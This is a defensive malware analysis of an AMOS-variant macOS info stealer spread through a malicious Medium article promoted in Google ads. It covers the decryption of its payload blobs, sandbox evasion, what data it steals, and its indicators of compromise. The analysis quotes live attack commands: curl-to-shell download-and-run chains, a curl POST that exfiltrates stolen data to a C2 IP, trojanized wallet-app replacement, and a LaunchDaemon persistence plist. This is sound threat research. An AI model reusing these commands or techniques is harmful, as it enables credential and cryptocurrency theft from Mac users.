Analysis of a macOS Info Stealer
A packed macOS Mach-O binary (which is delivered via a malicious medium.com article) hides its malicious payload behind multiple layers of encryption, encoding, and obfuscation.
The binary contains four encrypted data blobs that, when decrypted at runtime, reveal an AppleScript-based info-stealer targeting browser credentials, cryptocurrency wallets, Apple Keychain data, and more. The stolen data is exfiltrated to two hardcoded C2 servers, and persistence is achieved through a LaunchDaemon masquerading as a Finder helper.
It appears to be a variant of the AMOS (Atomic macOS) stealer, based on the use of AppleScript, trojanized Ledger Live app replacement techniques, persistence, and other IOCs. As of writing this article, this specific sample does not exist on VirusTotal yet. Interestingly, previous versions of the AMOS Stealer seem to ask for the user's password upfront, whereas this variant requests the password once it gets to its Keychain access component.
macOS Info Stealer Being Advertised by Google's Top Sponsored Search Result
As of Feb. 8, 2026, if a user searches "how to clear space on mac" in Google, the top sponsored search result (the first clickable link in the results) is a malicious medium.com article that tells victims to run a simple terminal command.

Medium has been taking these posts down daily, but it seems that new ones pop up just as fast as they can take them down, and somehow get right back to the top on Google's sponsored search results just as quickly.


That command runs in four steps (base64 redacted for safety):
- Decodes and runs:
echo 'Installing package please wait...' && curl -kfsSL https://joeyapple.com/curl/1c4b8b474a...|zsh
- That
curlcommand contains the following command:
#!/bin/zsh
cdb024=$(base64 -D <<'PAYLOAD_END' | gunzip
H4sIAJBhhmkC/12LQQqAIBAA771iI/AStodu/cZWwUBd0RWk19...
PAYLOAD_END
)
eval "$cdb024"
- Which runs:
curl -o /tmp/update https://octopox.com/cleaner3/upd*** && xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update
(end of URL redacted for safety)
That final command downloads and runs the malicious binary that contains the info stealer.
Info Stealer Overview
Key findings:
-
Exfil Servers:
http://199.217.98.33andhttp://38.244.158.56 -
Payload Delivery Domain:
octopox.com(inital binary) andmalext.com(serves trojanized wallet apps and persistence binaries) -
Targets: 250+ browser extension IDs (crypto wallets), browser credentials, Apple Notes, Keychain, Telegram, desktop documents, and more
-
Persistence: LaunchDaemon
com.finder.helperexecuting a hidden agent script
Sample:
| Property | Value |
|---|---|
| SHA-256 | 61a83957002f1a04bdae877b9c1bccd0a3a7fcb9ddafab56657f638db5a2e145 |
| MD5 | 058867cfedb4a9220466f6c87112d831 |
| Format | Fat Mach-O (x86_64 + ARM64) |
| File size | 6,993,240 bytes |
Binary Structure
The sample is a universal (fat) Mach-O binary containing two architecture slices. The CAFEBABE magic at offset 0 reveals the fat header:
| Architecture | Offset | Size |
|---|---|---|
| x86_64 | 0x1000 |
0x34DB50 (3,464,016 bytes) |
| ARM64 | 0x350000 |
0x35B558 (3,519,832 bytes) |
Analysis was performed on the x86_64 slice using IDA Pro. The binary has a single entry point; the start() function at 0x100001150 (size 0x4D8 bytes). This orchestrates the entire unpacking and execution chain (there is no main() or _start wrapper; start() seems to be the direct entry point).
The binary stores its payloads across four encrypted blobs, each composed of five parallel DWORD arrays (tables) embedded directly in the __TEXT segment. No external files or network fetches are needed for decryption.
Between decryption stages, start() calls a PRNG state initialization routine (sub_100001870) that seems to seed a complex state machine (using std::chrono::steady_clock::now(), combined with the golden ratio constant 0x9E3779B97F4A7C15 and various xorshift/splitmix operations). This function doesn't seem to affect the decryption output; it appears to serve as a timing-based obfuscation layer to complicate static analysis and potentially detect or discourage debugging (timing anomalies).
Function Map
The binary contains a small set of tightly-coupled functions:
| Address | Name | Purpose |
|---|---|---|
0x100001150 |
start |
Entry point; orchestrates blob chain |
0x100000E40 |
sub_100000E40 |
Decrypt Blob 1 (128 bytes, custom alphabet) |
0x100001040 |
sub_100001040 |
Decrypt Blob 2 (4,120 bytes, sandbox check) |
0x100000D30 |
sub_100000D30 |
Decrypt Blob 3 (167,804 bytes, stealer) |
0x100000F50 |
sub_100000F50 |
Decrypt Blob 4 (60 bytes, cleanup) |
0x100000AE0 |
sub_100000AE0 |
Hex string → binary decode |
0x100000770 |
sub_100000770 |
Build base64 reverse-lookup from alphabet |
0x100000890 |
sub_100000890 |
Custom base64 decode |
0x100000C60 |
sub_100000C60 |
Hex lookup table initializer (lazy, guard-protected) |
0x100001870 |
sub_100001870 |
PRNG state init (xorshift/splitmix, timing) |
Decryption Algorithm
All four blobs use the same custom decryption scheme, implemented in four nearly identical functions (sub_100000E40, sub_100001040, sub_100000D30, sub_100000F50). Each blob has five tables:
| Table | Purpose |
|---|---|
table_A |
Primary value (DWORD) |
table_B |
Subtraction operand (DWORD) |
table_rot |
Rotation amount (low byte of DWORD, masked to 3 bits) |
table_xor |
XOR key (low byte of DWORD) |
table_sub |
Final subtraction key (low byte of DWORD) |
For each output byte at index i, the algorithm performs:
diff = (table_A[i] - table_B[i]) & 0xFF
rot = table_rot[i] & 7
rotated = ROR8(diff, rot) // 8-bit rotate right
output = (table_xor[i] ^ rotated) - table_sub[i] // keep low byte
Blob Definitions
| Blob | Output Size | Purpose |
|---|---|---|
| Blob 1 | 128 bytes | Custom base64 alphabet (hex-encoded) |
| Blob 2 | 4,120 bytes | Sandbox detection script (hex-encoded) |
| Blob 3 | 167,804 bytes | Main stealer payload (hex-encoded) |
| Blob 4 | 60 bytes | Cleanup command (hex-encoded) |
A full decryption script was written to implement the decryption algorithm, which is how the malware was analyzed further.
Post-Decryption Pipeline
After decryption, each blob goes through two additional decoding stages before execution:
Encrypted Tables ──▶ Decryption ──▶ Hex String ──▶ Hex Decode ──▶ Binary ──▶ Base64 Decode ──▶ Shell Command
▲ ▲
│ │
5-table algo Custom alphabet
(from Blob 1)
Stage 1: Hex Decoding
Each decrypted blob produces a string of ASCII hex characters (0-9, a-f, A-F). Standard hex decoding converts every two characters into one byte, halving the data size.
Stage 2: Custom Base64 Decoding
Blob 1 decrypts to a 128-character hex string; hex-decoding that then yields a 64-character custom base64 alphabet:
NL3XgtOp&59Yf)0!IAdk_1K?j#E=*MsRuzcCQvD+7>UHhnla8B6omr-<S%PTWFy4
This alphabet replaces the standard A-Za-z0-9+/ mapping used in regular base64. The binary builds a reverse lookup table from this alphabet (via sub_100000770) and uses it to decode Blobs 2, 3, and 4 (via sub_100000890). The decoding algorithm itself is standard base64 (only the character-to-value mapping differs).
Execution Flow
The decompiled start() function at 0x100001150 reveals the precise chaining logic. Tracing through the decompilation:
// 0x1000011a6: Decrypt Blob 1 (custom alphabet)
sub_100000E40(v53); // Decrypt to 128 hex chars
sub_100000AE0(v48, v53); // Hex-decode to 64-byte alphabet
// 0x1000011d8: Decrypt Blob 2 (sandbox check)
sub_100001040(&v40); // Decrypt to 4120 hex chars
sub_100000AE0(v41, &v40); // Hex-decode
sub_100000770(v53, v48); // Build b64 lookup table from alphabet
sub_100000890(&v50, v41, v53); // Base64-decode to shell command
// 0x1000012b7: Execute and gate on exit code
if ((system(v50) & 0xFF00) == 0) { // WEXITSTATUS == 0?
// 0x100001317: Decrypt Blob 3 (stealer payload)
sub_100000D30(v53); // Decrypt to 167804 hex chars
sub_100000AE0(v43, v53); // Hex-decode
sub_100000770(v53, v48); // Rebuild b64 lookup
sub_100000890(&v51, v43, v53); // Base64-decode to v51
// 0x1000013a4: Decrypt Blob 4 (cleanup)
sub_100000F50(&v45); // Decrypt to 60 hex chars
sub_100000AE0(v46, &v45); // Hex-decode
sub_100000770(v53, v48); // Rebuild b64 lookup
sub_100000890(&v52, v46, v53); // Base64-decode to v52
// 0x100001436: Execute Blob 4 FIRST, then Blob 3
system(v52); // "disown; pkill Terminal"
system(v51); // Info-stealer (62,926 bytes)
}
Approx. visualized execution flow:
start() @ 0x100001150
│
├─ Decrypt Blob 1 ──▶ Hex-decode ──▶ 64-char custom base64 alphabet
│
├─ Decrypt Blob 2 ──▶ Hex-decode ──▶ B64-decode ──▶ system()
│ │
│ Sandbox detection
│ Exit 0 = clean
│ Exit 100 = VM detected
│
├─ IF (system() & 0xFF00) == 0:
│ │
│ ├─ Decrypt Blob 3 ──▶ Hex-decode ──▶ B64-decode ──▶ (held in memory)
│ │
│ ├─ Decrypt Blob 4 ──▶ Hex-decode ──▶ B64-decode ──▶ system() ← FIRST
│ │ │
│ │ "disown; pkill Terminal"
│ │
│ └─ system(Blob 3) ← SECOND
│ Info-stealer payload
│
└─ Cleanup: free all std::string allocations, return 0
The malware first detaches from the terminal and kills the Terminal.app window (disown; pkill Terminal), then launches the stealer payload. This ensures the AppleScript runs completely invisibly...so by the time the stealer begins exfiltrating data, there is no terminal window for the user to notice or close.
The exit code check (system(v13) & 0xFF00) == 0 seems to be the standard C method for extracting WEXITSTATUS from the system() return value; a successful sandbox check (no VM detected) returns exit code 0, which passes this gate. Any non-zero exit (like the sandbox detector's exit 100) causes the entire conditional block to be skipped, which would mean Blobs 3 and 4 are never decrypted or executed.
Blob 2 — Sandbox Detection
Format: osascript -e '...' (AppleScript)
Blob 2 contains the anti-analysis gate. It uses a character-code obfuscation technique to hide all of its strings at rest: a helper function (igvtwcjzyj) takes an array of integers and an offset, subtracting the offset from each integer and converting the result to an ASCII character.
After deobfuscation, the script:
- Runs
system_profiler SPMemoryDataTypeandsystem_profiler SPHardwareDataType - Checks the memory output against three VM indicators:
QEMUVMwareKVM
- Checks the hardware output against five sandbox fingerprints:
Z31FHXYQ0J— known sandbox serial numberC07T508TG1J2— known sandbox serial numberC02TM2ZBHX87— known sandbox serial numberChip: Unknown— indicator of emulated hardwareIntel Core 2— legacy CPU common in analysis VMs
- If any indicator matches →
exit 100(abort) - If all clear →
exit 0(proceed to payload)
The malware does not infect VM-based targets (if it detects them), most likely to avoid detection by automated sandboxes.
Blob 3 — The Info-Stealer
Format: osascript -e '...' (AppleScript)
Blob 3 is the primary payload; a massive AppleScript info-stealer. Like Blob 2, all strings are obfuscated using the same character-code subtraction pattern, this time through a function named pspmtqjrvcb. The script defines numerous helper functions for file operations, directory traversal, and data theft, then orchestrates comprehensive data collection.
Target 1: Browser Extension Data (250+ Wallet IDs)
The script opens with a property (ozewvffl) containing over 250 Chrome extension IDs. These are 32-character alphabetic strings corresponding to cryptocurrency wallet extensions (MetaMask, Phantom, Coinbase Wallet, and many others).
For each installed browser profile, the script:
- Enumerates
Local Extension Settings/andIndexedDB/directories - Matches folder names against the extension ID list
- Recursively copies matching extension data to a staging directory
Target 2: Browser Credentials and Cookies
The script targets all major Chromium-based and Firefox-based browsers:
| Browser | Data Path |
|---|---|
| Chrome | Google/Chrome/ |
| Brave | BraveSoftware/Brave-Browser/ |
| Edge | Microsoft Edge/ |
| Opera | com.operasoftware.Opera/ |
| Opera GX | com.operasoftware.OperaGX/ |
| Vivaldi | Vivaldi/ |
| Arc | Arc/User Data/ |
| CocCoc | CocCoc/Browser/ |
| Chromium | Chromium/ |
| Chrome Beta | Google/Chrome Beta/ |
| Chrome Canary | Google/Chrome Canary |
| Chrome Dev | Google/Chrome Dev/ |
| Firefox | Firefox/Profiles/ |
| Waterfox | Waterfox/Profiles/ |
For Chromium browsers, it collects: Cookies, Network/Cookies, Login Data, Web Data, History, Local Storage/leveldb/, and Local Extension Settings/.
For Firefox-based browsers, it collects: cookies.sqlite, formhistory.sqlite, key4.db, logins.json, places.sqlite, and IndexedDB storage.
Target 3: macOS Keychain and Chrome Safe Storage
The script attempts password-based authentication (dscl . authonly) to verify the user's password. If an empty password check fails, it presents a fake system dialog:
"Application wants to install helper"
"Required Application Helper. Please enter device password to continue."
This social-engineering dialog loops indefinitely until the user enters their password. Once captured, the password is used to:
- Extract the Chrome Safe Storage password via
security find-generic-password -ga "Chrome" - Access the user's login Keychain (
Keychains/login.keychain-db)
Target 4: Desktop Cryptocurrency Wallets
The script targets 16 desktop wallet applications:
| Wallet | Data Path |
|---|---|
| Electrum | ~/.electrum/wallets/ |
| Coinomi | Coinomi/wallets/ |
| Exodus | Exodus/ |
| Atomic | atomic/Local Storage/leveldb/ |
| Wasabi | ~/.walletwasabi/client/Wallets/ |
| Ledger Live | Ledger Live/ |
| Monero | ~/Monero/wallets/ |
| Bitcoin Core | Bitcoin/wallets/ |
| Litecoin Core | Litecoin/wallets/ |
| Dash Core | DashCore/wallets/ |
| Electrum LTC | ~/.electrum-ltc/wallets/ |
| Electron Cash | ~/.electron-cash/wallets/ |
| Guarda | Guarda/ |
| Dogecoin Core | Dogecoin/wallets/ |
| Trezor Suite | @trezor/suite-desktop/ |
| Sparrow | ~/.sparrow/wallets/ |
| Binance | Binance/app-store.json |
| TonKeeper | @tonkeeper/desktop/config.json |
Target 5: Other Sensitive Data
- Apple Notes: Accesses the Notes app via AppleScript to enumerate all notes across all accounts, capturing creation dates and body content
- Telegram: Copies
Telegram Desktop/tdata/andTelegram Data/directories, specifically targetingkey_datasandmapssubdirectories - Safari: Steals
Cookies.binarycookiesand form autofill data - Desktop/Documents Files: Grabs files from Desktop and Documents matching sensitive extensions:
doc,docx,wallet,keys,key,jpeg,jpg,png,kdbx(KeePass),seed, matching up to 30 MB total - OpenVPN: Copies
OpenVPN Connect/profiles/ - System Info: Runs
system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType
Exfiltration
All collected data is staged in a temporary directory (/tmp/<random>/), compressed into a ZIP archive (/tmp/out.zip), and exfiltrated via HTTP POST to the C2 server:
curl --connect-timeout 120 --max-time 300 \
-X POST \
-H "user: <username>" \
-H "BuildID: <build_id>" \
-H "cl: <cl_value>" \
-H "cn: <cn_value>" \
-F "file=@/tmp/out.zip" \
http://199.217.98.33/contact
The request includes identifying headers:
user— the macOS username ($USER)BuildID— a hardcoded build identifierclandcn— additional tracking values (initially set to"0")
Two hardcoded build IDs are present:
16JM-Zf8z8NeXhfArfypquTMJ/n7f7AAbzWMPBKv6sc=csK/oPdKdq9aGSPyZuqM6J2HiwfDRnHM4NugKLTvgmM=
If the primary C2 fails after three retries (with 15-second delays), the script falls back to http://38.244.158.56.
Wallet Application Replacement
After exfiltration, the malware checks for installed hardware wallet applications and replaces them with trojanized versions:
Ledger Live:
curl https://malext.com/zxc/app.zip -o /tmp/app.zip
pkill "Ledger Wallet"
sudo rm -r /Applications/Ledger Wallet.app
ditto -x -k /tmp/app.zip /Applications
Trezor Suite:
curl https://malext.com/zxc/apptwo.zip -o /tmp/apptwo.zip
pkill "Trezor Suite"
sudo rm -r /Applications/Trezor Suite.app
ditto -x -k /tmp/apptwo.zip /Applications
Attempting to download these trojanized wallet files via a browser returned a 404; it seems they only respond with the .zip file if using curl, so I assume user-agent filtering is happening server side. Interestingly, apptwo.zip does not seem to exist on the server anymore, but app.zip was still there at the time of writing.
A marker file (/.logged) is written after replacement to prevent repeated replacement on subsequent runs.
Persistence
The malware establishes persistence through a LaunchDaemon:
- Downloads a persistence binary:
curl -o ~/.mainhelper https://malext.com/zxc/kito && chmod +x ~/.mainhelper - Writes a bash script to
~/.agentthat loops forever, checking for active user sessions and executing~/.mainhelperunder the logged-in user's context - Creates a LaunchDaemon plist at
/Library/LaunchDaemons/com.finder.helper.plistconfigured withRunAtLoadandKeepAliveset totrue - Loads the daemon via
launchctl load
The LaunchDaemon plist structure:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.finder.helper</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>~/.agent</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
Blob 4 — Terminal Suppression
Command: disown; pkill Terminal
Despite being decrypted last, Blob 4 is executed first; before the stealer payload. disown detaches the process from the shell's job control, and pkill Terminal kills the Terminal.app window entirely. This two-step sequence ensures that by the time the massive Blob 3 stealer begins its data collection and exfiltration, there is no visible terminal window for the user to notice or interrupt.
Indicators of Compromise
Network
| Indicator | Type | Context |
|---|---|---|
199.217.98.33 |
IPv4 | Primary C2 server (data exfiltration via /contact) |
38.244.158.56 |
IPv4 | Fallback C2 server |
joeyapple.com |
Domain | Initial malicious script delivery |
octopox.com |
Domain | Initial binary delivery |
malext.com |
Domain | Payload delivery (trojanized apps, persistence binary) |
https://malext.com/zxc/app.zip |
URL | Trojanized Ledger Live |
https://malext.com/zxc/apptwo.zip |
URL | Trojanized Trezor Suite |
https://malext.com/zxc/kito |
URL | Persistence binary |
Host
| Indicator | Type | Context |
|---|---|---|
com.finder.helper |
LaunchDaemon Label | Persistence mechanism |
/Library/LaunchDaemons/com.finder.helper.plist |
File Path | Persistence plist |
~/.agent |
File Path | Persistence bash script |
~/.mainhelper |
File Path | Downloaded persistence binary |
~/.logged |
File Path | Wallet replacement marker |
~/.pass |
File Path | Stolen password storage |
~/.username |
File Path | Stolen username storage |
/tmp/out.zip |
File Path | Staged exfiltration archive |
/tmp/app.zip |
File Path | Trojanized Ledger download |
/tmp/apptwo.zip |
File Path | Trojanized Trezor download |
/tmp/starter |
File Path | Temporary persistence installer |
Sample Hashes
| Algorithm | Hash |
|---|---|
| SHA-256 | 61a83957002f1a04bdae877b9c1bccd0a3a7fcb9ddafab56657f638db5a2e145 |
| MD5 | 058867cfedb4a9220466f6c87112d831 |
Tooling
The full decryption and decoding script written for analysis reads the encrypted tables directly from the fat Mach-O binary (using the slice offset 0x1000 and IDA base 0x100000000 to calculate file offsets), performs the 5-table decryption, hex-decodes, custom base64-decodes. Then, it saves all decoded shell commands (along with extracted URLs and deobfuscated AppleScript strings).
Further Analysis
The persistence mechanism involves a binary that I plan on analyzing in a follow-up post to this one.